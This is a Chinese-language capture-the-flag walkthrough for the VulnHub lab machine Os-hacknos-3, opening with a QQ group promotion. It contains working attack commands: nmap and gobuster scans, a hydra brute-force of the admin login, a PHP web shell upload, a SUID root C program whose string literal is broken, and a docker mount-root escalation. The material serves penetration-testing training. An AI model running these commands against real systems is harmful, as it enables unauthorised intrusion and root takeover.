
靶机系列测试教程 Os-hacknos-3

1 交流平台

随着教程的推出，看视频的人也越来越多，随之而来的问题也增多，本人平时非常忙，难以有

时间回复大家的问题，特意建立了一个 QQ群，里面有很多这方面的高手，有什么不懂的，请到群

里提问，咨询问题的时候，一定要详细，不然没人会回复你，另外本人有时间会在群内直播测试靶

机，还没加上群的赶快加上了。

交流 QQ群 微信号

博客 www.moonsec.com

2 介绍

2.1靶机介绍

描述 说明

Difficulty Intermediate-Hard
Flag 2 Flag first user And second root
Learning WebApplication | Enumeration | Privilege Escalation

下载地址

https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/
难度 中等



3 靶机测试

3.1信息收集

3.1.1 nmap扫描

nmap -p- -A 192.168.0.173 -oA hacknos3-port

3.2目录扫描

gobuster dir -u http://192.168.0.174 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

3.3访问 websec



访问 websec发现是一个博客

后台登录



3.4 cewl 自动爬取单词

cewl http://192.168.0.174/websec/ >cewl.txt

4 穷举后台

4.1.1 hydra穷举后台

hydra -l contact@hacknos.com -P cewl.txt 192.168.0.174 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Wrong email"

4.1.2 上传 shell

http://192.168.0.174/websec/admin/fm?f=themes/gila-blog



上传 php文件

把.hatccess清除

http://192.168.0.174/websec/themes/gila-blog/moon.php?moon=id



4.2反弹 shell



4.3获取 user.txt

4.4特权提升

4.4.1 查找 suid文件

find /usr/bin -type f -perm -u=s 2>/dev/null



4.4.2 cpulimit提权

新建 suid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{

setreuid(0,0);
execve("/bin/bash,NULL,NULL);

}
gcc suid.c -o exp

把文件复制到靶机上 设置运行权限即可

4.5得到 root权限



4.6 dacker提权

4.6.1 切换用户 blackdevil

查看当前用户组 docker

docker images
查看是否存在镜像文件

创建容器 shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
自动下载 alpine 文件



退出查看当前 images

把靶机根目录挂在到/mbt

docker run -it -v /:/mbt cc0abc535e36
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